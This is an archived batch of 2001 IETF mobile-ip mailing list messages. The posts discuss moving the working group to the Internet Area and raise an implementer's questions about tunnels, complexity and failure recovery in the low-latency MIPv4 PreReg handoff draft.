Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA05964;
	Fri, 2 Nov 2001 09:10:34 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2H9xQO011793
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 09:09:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2H9wxp011792
	for mobile-ip-dist; Fri, 2 Nov 2001 09:09:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2H9tQO011785
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 09:09:55 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA25523
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 09:09:57 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA05168
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 10:09:40 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fA2HA2X01862
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 09:10:02 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAG22526;
	Fri, 2 Nov 2001 09:09:20 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA13828; Fri, 2 Nov 2001 09:09:56 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15330.54116.42595.446506@thomasm-u1.cisco.com>
Date: Fri, 2 Nov 2001 09:09:56 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] new area 
In-Reply-To: <200111021702.MAA27697@rotala.raleigh.ibm.com>
References: <AF2378CBE7016247BC0FD5261F1EEB2109CEB8@EXCHANGE01.domain.ecutel.com>
	<200111021702.MAA27697@rotala.raleigh.ibm.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

While I have no real qualms about moving this, I
don't think it's quite fair to say that MIP isn't
a routing protocol. Indeed, I think that thinking
of it absolutely no different than a full routing
protocol is helpful and instructive. Many of the
current set of issues (security in particular) are
linked to routing across virtual interfaces
(tunnels) which isn't especially MIP specific.

		Mike

Thomas Narten writes:
 > > exiled?
 > 
 > Hardly, and I hope the rest of the WG doesn't feel this way. While
 > much of the WG may not have been aware of this, the INT ADs (me and
 > Erik Nordmark) and Allison Mankin (TSV AD where Seamoby lives) have
 > been giving the MIP WG quite a lot of attention over the last few
 > months. And we do have one recent success story. 2002-bis has now been
 > approved by the IESG. Hopefully, a number of other drafts will make
 > its way through the IESG in the coming months.
 > 
 > There have also been discussions for a long time about how MIP isn't
 > really a routing thing in the first place. It isn't working on routing
 > protocols, for instance. So there has always been an argument that the
 > Internet Area was just as an appropriate home for MIP as the Routing
 > Area was.
 > 
 > And with the recent tragic loss of Abha, the timing of the move seemed
 > to make sense.
 > 
 > Thomas


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 13:42:07 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14704
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 13:42:06 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA22903;
	Fri, 2 Nov 2001 11:41:14 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA26669;
	Fri, 2 Nov 2001 10:41:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2IeHQO011988
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 10:40:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2IeHpK011987
	for mobile-ip-dist; Fri, 2 Nov 2001 10:40:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2IeDQO011980
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 10:40:13 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA29547
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 10:40:14 -0800 (PST)
Received: from e22.nc.us.ibm.com (e22.nc.us.ibm.com [32.97.136.228])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA18461
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 10:40:10 -0800 (PST)
Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209])
	by e22.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id MAA60988
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 12:37:34 -0600
Received: from rotala.raleigh.ibm.com (rotala.raleigh.ibm.com [9.37.60.3])
	by southrelay02.raleigh.ibm.com (8.11.1m3/NCO v5.00) with ESMTP id fA2Icqo218346
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:38:52 -0500
Received: from rotala.raleigh.ibm.com (narten@localhost)
	by rotala.raleigh.ibm.com (8.9.3/8.9.3) with ESMTP id NAA28153
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:39:22 -0500
Message-Id: <200111021839.NAA28153@rotala.raleigh.ibm.com>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] new area 
In-Reply-To: Message of "Fri, 02 Nov 2001 09:09:56 PST." <15330.54116.42595.446506@thomasm-u1.cisco.com> 
Date: Fri, 02 Nov 2001 13:39:22 -0500
From: Thomas Narten <narten@us.ibm.com>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Michael Thomas <mat@cisco.com> writes:

> While I have no real qualms about moving this, I don't think it's
> quite fair to say that MIP isn't a routing protocol. Indeed, I think
> that thinking of it absolutely no different than a full routing
> protocol is helpful and instructive. Many of the current set of
> issues (security in particular) are linked to routing across virtual
> interfaces (tunnels) which isn't especially MIP specific.

In other words, now that its in the INT area, people will be asking
why isn't it in the Routing Area? :-)

I agree though that there are arguments both ways.

Thomas


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 16:20:59 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18658
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 16:20:59 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA29569;
	Fri, 2 Nov 2001 14:20:04 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA01165;
	Fri, 2 Nov 2001 13:19:53 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LIFQO012320
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:18:15 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2LIEbs012319
	for mobile-ip-dist; Fri, 2 Nov 2001 13:18:14 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LIBQO012312
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:18:11 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id NAA09129
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:18:14 -0800 (PST)
Message-Id: <200111022118.NAA09129@heliopolis.eng.sun.com>
Date: Fri, 2 Nov 2001 13:18:14 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: [mobile-ip] Low Latency MIPv4 Handoffs
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: V0qydIVkQrxB9DQ7DUGj1g==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Having implemented draft-ietf-mobileip-lowlatency-handoffs-v4-02
(both PreReg and PostReg), I have some questions and comments about
PreReg.

My implementation experience is that PostReg is
for the most part well-specified and straightforward and modular
to implement, and required little or no modification of core
Mobile IP functionality. PreReg was a bit trickier, and required lots
of modifications to core Mobile-IP functionality (such as agent
solicitation and advertisement, routing, and registration relaying
on the FA, and movement detection, registration, and route and
L2 cache modification on the MN).

I've sent each topic in a seperate email for easier threading.

Jonathan



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 16:26:07 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18714
	for <mobileip-archive@odin.ietf.org>; Fri, 2 Nov 2001 16:26:06 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA18348;
	Fri, 2 Nov 2001 13:25:23 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA02430;
	Fri, 2 Nov 2001 13:25:03 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNNQO012422
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2LNNKk012421
	for mobile-ip-dist; Fri, 2 Nov 2001 13:23:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNJQO012414
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:20 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id NAA09687
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:22 -0800 (PST)
Message-Id: <200111022123.NAA09687@heliopolis.eng.sun.com>
Date: Fri, 2 Nov 2001 13:23:22 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Tunnels
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: +H0hrhifm5HORj6b3FrypQ==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Tunnel use and management needs to be better defined. Tunnels are
usually point-to-point, and so need to be explicitly set up
by both endpoints. Hosts will generally not decapsulate anything
sent to them if they do not have a tunnel set up with the
corresponding host.

For PreReg, this means that FAs will need to explicitly set up
tunnels with neighboring FAs. Are these tunnels created dynamically
or just once when each FA starts up? How are they managed and
configured?

Once up, exactly what is sent through the tunnel? It looks like
agent advertisements and solicitations from the MN are. Is there
anything else?




From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 16:26:10 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18725
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 16:26:10 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA03850;
	Fri, 2 Nov 2001 14:25:22 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA02537;
	Fri, 2 Nov 2001 13:25:20 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNUQO012443
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2LNUNe012441
	for mobile-ip-dist; Fri, 2 Nov 2001 13:23:30 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNOQO012424
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:24 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id NAA09699
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:27 -0800 (PST)
Message-Id: <200111022123.NAA09699@heliopolis.eng.sun.com>
Date: Fri, 2 Nov 2001 13:23:27 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Complexity
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: OWpqglFx/GMDpbjnTzSy+A==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

In general the proposal is significantly complicated by specifying
multiple ways of doing things. Specifically:
1 FAs may (or may not) cache advertisements from other FAs. This
  means that (per section 3.3) MN soliciations are either unicast
  to the oFA or the nFA. How does the MN know which method it should
  use? What if the MN decides to unicast to oFA for a proxy advert,
  but oFA isn't caching adverts from nFA?
2 It is often hard to determine exactly which messages under what
  circumstances must contain which extensions. For example,
  Section 3.3 also states that "The PrRtAdv message MAY contain the
  nFA's L2 address (using the LLA extension in 7.2)". When should the
  L2 address extension be present? What are the ramifications of not
  including it?
3 Section 3.4 lists three different ways of obtaining nFA
  advertisements. This seems likely to cause interoperability problems.
  For example, what if FA1 expects all agent advertisements to
  be piggybacked on L2 messaging, while FA2 does not? They will
  not be able to exchange advertisements, and therefore will not
  be able to complete PreReg handovers between them.

I think if the proposal came up with just one way of obtaining agent
advertisements, a lot of complexity would fall out.



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 16:26:19 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18737
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 16:26:19 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA04005;
	Fri, 2 Nov 2001 14:25:33 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA02583;
	Fri, 2 Nov 2001 13:25:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNYQO012453
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2LNXMO012451
	for mobile-ip-dist; Fri, 2 Nov 2001 13:23:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNRQO012434
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:27 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id NAA09693
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:25 -0800 (PST)
Message-Id: <200111022123.NAA09693@heliopolis.eng.sun.com>
Date: Fri, 2 Nov 2001 13:23:25 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: [mobile-ip] Low Latency MIPv4 Handoffs: Relaying RegReplies via oFA
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: Zr2BXPeyCr3L3aE1KumzsA==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

The PreReg proposal recommends that FAs solicit and cache each others
advertisements, so they can proxy them for MNs during handover.
However, during source-trigger network initiated handovers and
MN initiated handovers,  there is no way for nFAs to know which
FA is the oFA when a MN is handed over. This breaks the requirement
that the nFA must send registration replies via oFA to the MN. How
should this issue be resolved?



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 16:26:40 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18796
	for <mobileip-archive@odin.ietf.org>; Fri, 2 Nov 2001 16:26:39 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA18599;
	Fri, 2 Nov 2001 13:26:04 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA02673;
	Fri, 2 Nov 2001 13:25:41 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNeQO012462
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2LNe7x012461
	for mobile-ip-dist; Fri, 2 Nov 2001 13:23:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNUQO012442
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:31 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id NAA09712
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:33 -0800 (PST)
Message-Id: <200111022123.NAA09712@heliopolis.eng.sun.com>
Date: Fri, 2 Nov 2001 13:23:33 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: [mobile-ip] Low Latency MIPv4 Handoffs: Coverage Area Transition
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: cownlgM+SDrShDQM+/PMWg==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

How are transitions to and from PrePreg coverage areas handled?
What should the FAs do, and more importantly, how should the MN
know when it has entered and left PreReg coverage areas?




From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 16:26:43 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18810
	for <mobileip-archive@lists.ietf.org>; Fri, 2 Nov 2001 16:26:43 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA04380;
	Fri, 2 Nov 2001 14:25:55 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA02732;
	Fri, 2 Nov 2001 13:25:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNgQO012465
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2LNg1S012464
	for mobile-ip-dist; Fri, 2 Nov 2001 13:23:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2LNYQO012452
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:34 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id NAA09718
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 13:23:37 -0800 (PST)
Message-Id: <200111022123.NAA09718@heliopolis.eng.sun.com>
Date: Fri, 2 Nov 2001 13:23:36 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Failure Recovery
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: nRnYuk5tdCFDYf07WfDdng==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

How do MNs and FAs recover from a failed PreReg handover? For example,
if the MN's pre-registration request is lost of delayed, what needs
to happen to ensure continued packet delivery?

PreReg requires a lot of messages to traverse many links, opening
up lots of opportunities for failure:
    Solicitation from MN -> oFA
    Solicitation from MN -> oFA -> nFA
    Advert from oFA / nFA --> MN
    Reg Req from MN -> oFA -> nFA -> HA
    Req reply from HA -> nFA -> oFA -> MN (and nFA -> on-link)
It would be useful to consider what would happen if any one of the
messages is lost or delayed.


[This is the last email of the series]



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov  2 18:47:10 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
